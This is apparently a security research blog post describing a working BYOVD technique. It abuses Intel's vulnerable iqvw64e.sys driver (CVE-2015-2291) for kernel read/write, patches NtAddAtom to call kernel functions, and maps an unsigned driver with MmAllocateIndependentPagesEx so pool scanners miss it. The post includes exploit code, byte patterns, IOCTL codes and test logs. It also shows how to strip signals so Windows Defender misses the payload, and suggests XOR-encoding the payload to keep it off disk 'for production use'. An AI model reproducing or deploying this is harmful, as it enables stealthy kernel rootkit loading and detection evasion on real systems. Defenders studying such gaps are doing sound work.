Mapping kernel code without pool traces
Most BYOVD kernel mappers, kdmapper included, allocate space for the loaded image via
ExAllocatePool2
(or its deprecated predecessor ExAllocatePoolWithTag; same pool, different API).
That allocation appears immediately in SystemBigPoolInformation. User-mode processes
can query it via NtQuerySystemInformation(66) without SeDebugPrivilege. An unknown pool tag sitting in
non-paged pool is a loud signal. The scanner doesn’t need to know what the code does. It
just notices the allocation exists.
MmAllocateIndependentPagesEx is an undocumented ntoskrnl function that allocates pages
directly from the Windows Page Frame Number (PFN) database. No pool headers. No big-pool
registration. Allocations through it do not appear in SystemBigPoolInformation. The pool
scanner sees nothing.
This post walks the full pipeline: finding the undocumented function by pattern scan, using
Intel’s NAL driver as the kernel read/write primitive, loading and executing an unsigned
driver, and confirming that pool scanning misses the allocation entirely. All code is in
code/byovd-indpages/.
Pool allocation paths
ExAllocatePool2 is the current Windows pool allocator API (ExAllocatePoolWithTag was
deprecated in Windows 10 2004). Every allocation it makes is registered in pool accounting
structures. Allocations at or above MmBigPoolThreshold (exactly one page on modern
Windows) appear in the big-pool list that NtQuerySystemInformation(SystemBigPoolInformation) exports.
MmAllocateIndependentPagesEx takes a different path. It reaches directly into the PFN
database and commits physical pages without creating pool headers or adding tracking entries.
The physical pages exist, but they are not connected to the pool accounting layer.
Finding MmAllocateIndependentPagesEx
The function is not exported by name. Finding it requires matching a call site.
KeAllocateInterrupt in ntoskrnl’s .text section calls MmAllocateIndependentPagesEx with
a fixed size of 0x1000. That call site has a stable byte pattern across builds from 1803
through 24H2:
static const BYTE pat[] = {
0x41,0x8B,0xD6, /* mov r10d, r14d */
0xB9,0x00,0x10,0x00,0x00, /* mov ecx, 0x1000 */
0xE8,0x00,0x00,0x00,0x00, /* call MmAlloc...PagesEx */
0x48,0x8B,0xD8 /* mov rbx, rax */
};
static const char mask[] = "xxxxxxxxx????xxx";The mov ecx, 0x1000 anchors the match. The E8 at pattern offset 8 is the CALL with a
4-byte RIP-relative displacement. Once the pattern match is found, the target address is:
UINT64 call_va = match + 8;
INT32 disp = read_kernel_dword(call_va + 1);
UINT64 fn_va = call_va + 5 + (INT64)disp; /* next_ip + displacement */The mapper scans the .text section in 64 KB chunks to avoid a single large allocation, with
overlap at chunk boundaries to handle patterns that straddle a chunk edge. MmSetPageProtection
is found the same way in PAGELK.
MmFreeIndependentPages uses a PAGE section pattern scan as the primary approach, with a
.pdata fallback. Both functions live in the same translation unit, so their entries are
adjacent in .pdata (sorted by BeginAddress per the x64 ABI). A binary search over
.pdata finds MmAllocateIndependentPagesEx’s entry in O(log N) point reads, then the
immediately following entry is MmFreeIndependentPages.
The BYOVD primitive
The Intel Network Adapter Diagnostics Driver (iqvw64e.sys, versions before v1.3.1.0, e.g. v1.3.0.x) is
vulnerable to CVE-2015-2291 and exposes kernel read/write via a single IOCTL code, 0x80862007.
(v1.3.1.0 is the patched release.) A case_number field in the request
struct selects the operation:
#define NAL_IOCTL 0x80862007UL
#define NAL_CASE_MEMCOPY 0x33 /* kernel memcpy */
#define NAL_CASE_GETPHYS 0x25 /* VA -> physical addr */
#define NAL_CASE_MAPIO 0x19 /* MmMapIoSpace */
#define NAL_CASE_UNMAPIO 0x1A /* MmUnmapIoSpace */Each request is a packed struct beginning with case_number and a reserved field, followed
by operation-specific fields. See mapper/mapper.c for the full struct definitions.
Writing to kernel code pages requires an extra step. CR0.WP prevents writes to
supervisor-mode read-only pages even from kernel context. The workaround: translate the
target VA to a physical address with case 0x25, map that physical address to a new
writable VA with MmMapIoSpace via case 0x19, write through the new VA, then unmap with
case 0x1A. The hardware sees a writable mapping to the same physical frame.
Calling kernel functions from user space
The NtAddAtom trick converts the kernel write primitive into a kernel function call
primitive. Overwrite the first 12 bytes of kernel NtAddAtom with:
48 B8 xx xx xx xx xx xx xx xx mov rax, <target>
FF E0 jmp raxThen call ntdll!NtAddAtom from user space. The syscall routes to the patched handler,
which immediately jumps to target. The x64 calling convention places arguments in
rcx/rdx/r8/r9. The ntdll stub moves rcx into r10 before issuing the syscall instruction
(which clobbers rcx with the return address), and the kernel dispatcher restores r10 to rcx
before calling the handler, so the target function sees the original arguments in the expected
registers. Restore the original bytes immediately after.
static UINT64 nal_call_kernel(HANDLE hDev, UINT64 k_ntaddatom,
UINT64 target,
UINT64 a1, UINT64 a2, UINT64 a3, UINT64 a4)
{
UINT8 jmp_shell[12] = { 0x48,0xB8, 0,0,0,0,0,0,0,0, 0xFF,0xE0 };
memcpy(&jmp_shell[2], &target, 8);
UINT8 orig[12] = {0};
nal_read(hDev, k_ntaddatom, orig, 12);
nal_write_ro(hDev, k_ntaddatom, jmp_shell, 12); /* physical-addr trick */
typedef UINT64 (NTAPI *Fn4_t)(UINT64, UINT64, UINT64, UINT64);
Fn4_t fn = (Fn4_t)(ULONG_PTR)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtAddAtom");
UINT64 result = fn(a1, a2, a3, a4);
nal_write_ro(hDev, k_ntaddatom, orig, 12);
return result;
}The limit is four arguments. Stack-based arguments would need setup below RSP at the call site, which is not preserved across the syscall transition.
Loading the driver
With memory allocation and function call primitives working, the loading sequence is:
1. Allocate
UINT64 kernel_base = nal_call_kernel(hDev, k_ntaddatom, fn_alloc_indpages,
(UINT64)image_size, (UINT64)-1, 0, 0);-1 for the NUMA node argument selects any available node.
2. Copy headers and sections into a local working buffer first. PE headers at offset 0,
then each section from its PointerToRawData file offset to its VirtualAddress within the
working buffer.
3. Apply relocations. Walk IMAGE_BASE_RELOCATION blocks in the .reloc section. Only
IMAGE_REL_BASED_DIR64 (type 10) applies to 64-bit kernel images. For each entry, add
delta = kernel_base - preferred_image_base to the 8-byte value at the specified offset.
4. Resolve imports. Walk the import descriptor table. For each imported function, look up its kernel VA via the NAL export scanner and write it into the local IAT. After this step the local buffer contains real kernel addresses in its IAT.
5. Fix the security cookie. MSVC initialises __security_cookie to 0x2B992DDFA232. The
normal loader replaces it at load time. A manually mapped driver must do this before calling
any function compiled with /GS. Use DEFAULT_COOKIE ^ PID ^ TID as the new value. Cheap
and deterministic enough for a POC.
6. Write to kernel. A single nal_write of the completed working buffer to kernel_base.
7. Set page protections. Pages from MmAllocateIndependentPagesEx start as
non-paged writeable. Mark each section correctly via MmSetPageProtection:
.text gets PAGE_EXECUTE_READ, .rdata gets PAGE_READONLY, .data gets PAGE_READWRITE.
Skip this step for pool-backed memory: ExAllocatePool2 pages with POOL_FLAG_NON_PAGED
do not support MmSetPageProtection and calling it on pool memory can cause a bugcheck.
8. Call the entry point.
UINT64 entry_point = kernel_base + nt_hdr->OptionalHeader.AddressOfEntryPoint;
UINT64 status = nal_call_kernel(hDev, k_ntaddatom, entry_point, 0, 0, 0, 0);Pool visibility proof
The mapper runs both allocation methods and checks SystemBigPoolInformation after each.
The struct layout for class 66 is not in the public SDK:
typedef struct {
union {
PVOID VirtualAddress;
ULONG_PTR NonPaged : 1; /* bit 0: 1 = non-paged, 0 = paged */
} Va;
SIZE_T SizeInBytes;
UCHAR Tag[4];
} SYSTEM_BIGPOOL_ENTRY;Bit 0 of VirtualAddress encodes the pool type rather than being part of the address, so
mask it off before comparing: entry_va = (UINT64)Va.VirtualAddress & ~1ULL.
Tested on Windows 11 24H2 (ntoskrnl 0xfffff803a2000000, KASLR addresses change per boot):
[+] ntoskrnl: 0xfffff803a2000000
[*] resolving...
NtAddAtom: 0xfffff803a2312c40
ExAllocatePool2: 0xfffff803a2b730f0
ExFreePoolWithTag: 0xfffff803a2b72c10
MmAllocateIndependentPagesEx: 0xfffff803a2a84ed4
MmFreeIndependentPages: 0xfffff803a2a85b4c
MmSetPageProtection: 0xfffff803a2c11a30
=== Part 1: ExAllocatePool2 (pool-visible) ===
-> ExAllocatePool2 (24576 bytes)
-> base: 0xffff808ebe9f2000
-> imports from ntoskrnl.exe
DbgPrint -> 0xfffff803a2204830
[+] mapped: 0xffff808ebe9f2000 via ExAllocatePool2
BigPoolInformation: 36284 entries
[FOUND] 0xffff808ebe9f2000 in entry 0xffff808ebe9f2000 size=0x6000 tag='Camp'
[+] ExAllocatePool2 allocation IS in BigPool
[*] pool freed
=== Part 2: MmAllocateIndependentPagesEx (pool-invisible) ===
-> MmAllocateIndependentPagesEx (24576 bytes)
-> base: 0xffffe581ff598000
-> imports from ntoskrnl.exe
DbgPrint -> 0xfffff803a2204830
-> MmSetPageProtection .text prot=0x20
-> MmSetPageProtection .rdata prot=0x2
[+] mapped: 0xffffe581ff598000 via MmAllocateIndependentPagesEx
BigPoolInformation: 36283 entries
[NOT FOUND] 0xffffe581ff598000
[+] MmAllocateIndependentPagesEx allocation NOT in BigPool (expected)
[*] calling entry point 0xffffe581ff599029...
[+] returned: 0x0
STATUS_SUCCESS -- check DebugView
[*] freeing independent pages...
[+] freed
[+] doneThe tag displays as Camp rather than pmaC because pool tags are stored as a 4-byte
little-endian integer: 'pmaC' = 0x706D6143, which lays bytes C,a,m,p at increasing
addresses and reads back as Camp.
Pool count drops from 36,284 to 36,283 between Part 1 and Part 2 because freeing the
ExAllocatePool2 allocation removed its entry. The MmAllocateIndependentPagesEx
allocation did not add one. The scanner sees 36,283 entries whether or not the mapped
driver is in memory.
Verify with PoolMon: Run
poolmon.exe /b /iCamp(filter to tagCamp, sort by bytes). After Part 1,CampshowsAllocs = 1. After the pool free, the entry is gone. During Part 2,Campnever appears.MmAllocateIndependentPagesExallocations are invisible to tag-based pool monitors.
DebugView with ed Kd_DEFAULT_Mask 0xf in WinDbg shows the payload’s output:
[indpages-payload] DriverEntry reached -- MmAllocateIndependentPagesEx mapped this driver.
[indpages-payload] Pool scanners walking ExAllocatePool allocations will not find us.Verify with DebugView: Run
dbgview.exeas Administrator. Enable kernel capture: Capture menu → Capture Kernel (orCtrl+K). IfDbgPrintoutput is suppressed, set the debug mask first: in WinDbged Kd_DEFAULT_Mask 0xf. Both[indpages-payload]lines appear in the log after the mapper calls the entry point.
Windows Defender flagged the payload
payload.sys triggered Windows Defender real-time protection when written to disk, before
the mapper ran. Defender caught it by static analysis alone.
Three signals in the file:
Plaintext string in .rdata
DbgPrint("[indpages-payload] DriverEntry reached\n");This string sits verbatim in the binary. Defender keeps static signatures for strings associated with known mapper tooling and kernel-mode rootkit patterns. A previously-indexed string in a NATIVE PE with no valid Authenticode signature is enough to flag.
Import table contains ntoskrnl.exe!DbgPrint
A NATIVE PE importing DbgPrint matches common mapper payload profiles. Combined with an
unknown image and no signature, the heuristic fires.
Entry point symbol DriverEntry
The debug directory points to a PDB path. In debug builds, symbol information includes the entry point name. Scanning tools index the PDB-referenced symbol names.
The detection is entirely static. Defender did not execute the file. It matched patterns in the binary on disk.
Making the payload defender-transparent
payload_stealthy.c eliminates all three signals. No includes, no imports, no string
literals, renamed entry point:
#define EXEC_MAGIC 0x600DC0DE
__declspec(noinline)
long __stdcall PocEntry(void *driver_object, void *reg_path)
{
(void)driver_object;
(void)reg_path;
return (long)EXEC_MAGIC;
}Compiled with /ENTRY:PocEntry /NODEFAULTLIB and no library references, the resulting PE:
- Import directory: empty. No
ntoskrnl.exesection. - .rdata: 0x8C bytes of COFF group debug info only. No strings from source.
- .text: 6 bytes:
B8 DE C0 0D 60 C3(mov eax, 0x600DC0DE; ret). - Entry point symbol:
PocEntry.
File size drops from 3584 bytes to 1536. The reduction is the import table, IAT, and string data.
Proof of execution uses the return value. nal_call_kernel returns whatever RAX holds when
the kernel function returns. PocEntry sets EAX to 0x600DC0DE. The mapper checks the low
32 bits:
UINT64 status = nal_call_kernel(hDev, ntaddatom, entry, 0, 0, 0, 0);
if ((UINT32)status == EXEC_MAGIC)
printf("[+] EXEC_MAGIC 0x%08X confirmed\n\n", EXEC_MAGIC);No DebugView. No kernel logging. No shared memory.
Tested with payload_stealthy.sys (1536 bytes, no imports):
=== Part 2: MmAllocateIndependentPagesEx (pool-invisible) ===
-> MmAllocateIndependentPagesEx (12288 bytes)
-> base: 0xffffe582082aa000
-> MmSetPageProtection .text prot=0x20
-> MmSetPageProtection .rdata prot=0x2
[+] mapped: 0xffffe582082aa000 via MmAllocateIndependentPagesEx
BigPoolInformation: 36246 entries
[NOT FOUND] 0xffffe582082aa000
[+] MmAllocateIndependentPagesEx allocation NOT in BigPool (expected)
[*] calling entry point 0xffffe582082ab000...
[+] returned: 0x600dc0de
[+] EXEC_MAGIC 0x600DC0DE confirmed
[*] freeing independent pages...
[+] freed
[+] doneVerify with System Informer: Open System Informer (run as Administrator) → Memory tab → Pool Allocations. Filter by tag
Camp. During the stealthy run, noCampentry appears at any point. The allocation is invisible to the pool monitor regardless of payload variant.
In the stealthy run, the import resolution step is absent entirely:
no -> imports from ntoskrnl.exe line, because the PE has no import directory.
The allocation is also 12 KB instead of 24 KB because the image is smaller with no import
table, no IAT, and no string data. The pool scanner sees the same result regardless.
The stealthy payload passes Defender static scanning. The remaining detection surface is the infrastructure: SCM service creation for the NAL driver, and the physical memory operations the driver performs. Those are not payload issues. The binary that gets mapped into kernel memory is clean to the file scanner.
For production use, the payload would not exist as a file on disk at all. Embed the compiled bytes in the mapper binary, XOR-encoded with a per-run key, decode at runtime before mapping. The mapped code never touches the filesystem.
Source
Full compilable implementation: mapper.c, payload.c, payload_stealthy.c
The standalone repository with build scripts, both payload variants, and the NAL driver wrapper is at github.com/floppywiggler/poolblind.